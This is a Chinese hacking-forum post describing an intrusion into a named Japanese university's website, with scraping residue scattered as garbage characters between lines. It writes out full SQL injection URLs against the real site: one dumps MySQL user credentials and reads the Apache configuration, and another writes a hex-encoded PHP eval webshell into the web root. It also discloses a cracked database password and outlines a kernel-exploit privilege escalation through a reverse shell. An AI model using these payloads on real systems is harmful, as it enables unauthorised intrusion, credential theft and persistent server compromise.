中国网络渗透测试联盟

标题: 入侵日本同志社大学 [打印本页]

作者: admin    时间: 2012-11-21 13:48
标题: 入侵日本同志社大学
入侵日本同志社大学技术分析
& g5 j5 F$ u  {$ _% B$ Y* r+ p8 M0 {; K% \( H2 ~3 {9 L
http://www.doshisha.ac.jp/chs/news/index.php?i=-1; ?' P- j) k0 |2 F( I
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
% H7 Z. ]1 i. B% d6 H$ s; y: l0 T7 g' V
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user0 \) b5 u2 U7 m# w" v+ u: \* x6 q

( {6 e+ T, s. ?" |8 I5 k& Y , _: o7 g& h9 g- Z7 l

' V" y2 w. k& Z1 y  R* T//@@datadir为数据库文件路径
- x! h& c" R. M
# ?  F  q7 l( t7 R2 Z
( d; ^  b- _( S/ q6 s0 B1 o//load_file读取网站容器apache的配置文件 7 {  s) T! T6 q% A
) W$ |$ a1 X. P* q7 _. U$ K- R

3 Y/ ], g5 c1 L//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
7 q: Y$ F, S- v6 B# c复制代码9 \9 W! M2 B3 l: l, }

( g+ q5 m2 N. `( f虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。) A& Z- ?9 W' E

. f: }, _& L5 U% c' n而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
: U: x9 ]. w# G! A! t5 i! H(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html), o2 H( g' s& x/ @4 l

* ?- F5 ^1 c- k9 O2 g' f前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
6 _% {+ z8 @9 e5 G如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
" d- \6 ~1 l& r- ]5 r
1 r- M5 K2 ~2 ~4 K既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
, F; Q6 [+ r  A9 O0 V虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。* h3 ?+ |$ H: I
直接写一句话:
" ^8 [8 v( F; \' W0 h; y' T
7 N: M: G4 E. b4 s& Qhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
& S0 L2 I4 y4 J. `9 l$ \1 y5 s, C1 f! c, c3 }2 n1 s

( f. c: K7 `" d7 l/ Q; I7 ~1 ^- u/ T2 _5 }4 |# u5 {$ h
//最后的#是为了闭合前面的语句 + h4 j$ g( u5 _- u

: v; N+ ]$ K8 o0 h3 F$ k8 ?5 Z5 m/ C' u3 U# q" s, A3 E7 f
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E 2 X0 r& e4 S8 E

9 Y9 \* F: A; v% ~
$ H% F; k2 l+ T2 U为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ 2 u  I/ d. r' v! N

. m: M* ]. K% a# M- `5 [  ^0 A5 z% h
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
$ `8 S. S" [$ |0 d: y. v % ]$ }. \/ ~/ A7 _2 z3 Q! s6 Z$ A

2 m8 w% l9 _  l- E//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
* f1 w+ K* m+ D' y  N2 c' ~7 H//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” ; d$ J. i0 }, u- o/ ^0 N
复制代码
6 J7 {$ Q2 C: K- w0 S3 M; @% X; k
3 x4 H& S7 J/ M; HHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
( i/ o# ]6 q. a' z- G. ^6 W$ m2 X0 p: F通过上述注入语句,我们就得到了一句话木马:7 H. P7 N* I! A3 H7 s/ B7 P/ V8 H
6 T+ j" v, E0 l: `6 P

% @$ C) v* X! F6 S2 Q: v/ l( B1 S/ P2 c! `8 x6 s  h

, [( w6 m( Y; ~2 k; f
% @3 y* E; z2 d, B  H5 ahttp://www.doshisha.ac.jp/english/engnews_img/aa.php
+ `7 W! h) |% b1 k7 Y, I1 I复制代码
: r/ [; j- V! k+ M/ K, j" n* N) r+ ~! q$ T9 e9 r
用菜刀连接,密码是cmd,如图所示:
" U/ y0 G8 D8 w; o: j5 W2 d* Q& D然后在命令提示行里看了一下,现在的权限是:
' b+ |& D7 X/ a( d! U! v8 C/ ]5 p) r/ b# G9 \) x( C; J+ }
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。5 v1 S) Q1 m/ P; V# _
好在赋权给这个文件夹不需要root,直接执行赋权语句:3 p3 p* p+ X6 h- t: f6 P4 f
/ g' Q* Z$ i/ C! ^9 z  C

+ n4 C9 t" }; }% G& \9 ]) T$ ~* B: h- T1 M* l' ^& B+ n

7 q: c. M& J1 e) u3 x- V# }7 ~
' f, p' u) P, P5 \( fchmod +x /tmp/ 7 |, C: A, B( `
复制代码
! M+ _+ D2 ~3 o0 z- |+ L/ }$ s3 L; r8 o6 s
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行2 g. [  q5 f& B" l1 j) J) d7 d
然后就查了一下内核版本:" @) [$ j; ^- O

/ [' v' }/ \; H. C. t
) x, P: ?0 t  h2 n9 |% w" P: [
0 c( c7 J8 k  u* s' ~8 w8 b
. S* E- C& q. s, K' @4 _' c$ F8 I4 g: `) Q( k
uname-a % }1 _  f5 u3 P; |6 z  }' h
& ^$ I0 x2 S, {' {6 g8 v( h
! T- V' }1 o/ h3 t- T& r7 e
//其实lsb_release -a
8 c- j/ d1 {- q: |% K" ?复制代码; ~5 s: y/ N5 ~/ P* W

* P/ u# ?; \8 V2 Y! z, f如图所示:
5 Z- c8 k* S8 z1 Y6 h+ c. p3 p9 S+ p) z) o
内核版本:linux mainz1 2.6.28-194.e154 _( y8 C5 {5 H. P* C) A* X
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)0 }% i% c4 n9 c  G) H
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹5 t9 G. l8 Q4 c! |
# s( i3 q, m) @3 Z" O2 m7 c1 Z+ N
然后给予执行权限
7 _, x+ F4 @. f( t; t9 n+ W一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
, |2 n$ L0 x5 `! w7 Z4 d: Q7 k) {+ ~
# }0 z1 L; K1 m) f# p
- o: ]2 Q; c  V$ A( ~; S, {- p6 K! V9 u3 {0 P' l5 H
  T( ^, ]+ m* K6 h! G' e% E/ E; k

4 T2 f% q" z9 U3 S* O! echmod +x /tmp/2.6.18-194
2 a$ C% F( a9 r( B1 C复制代码 然后直接执行!~
0 x6 i+ C7 P- Q. _: b  B$ }% l! M$ G6 a7 _1 r: D* b% M
总结:
2 t9 B4 ^5 t4 v, _+ n4 W这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了6 }( k4 j. i% c* e& }# W3 Q- Y) F
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
7 w2 N: m1 M/ x: y# x$ M- v4 D# B' }4 ]
' \0 N7 |0 e4 b  W+ E




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2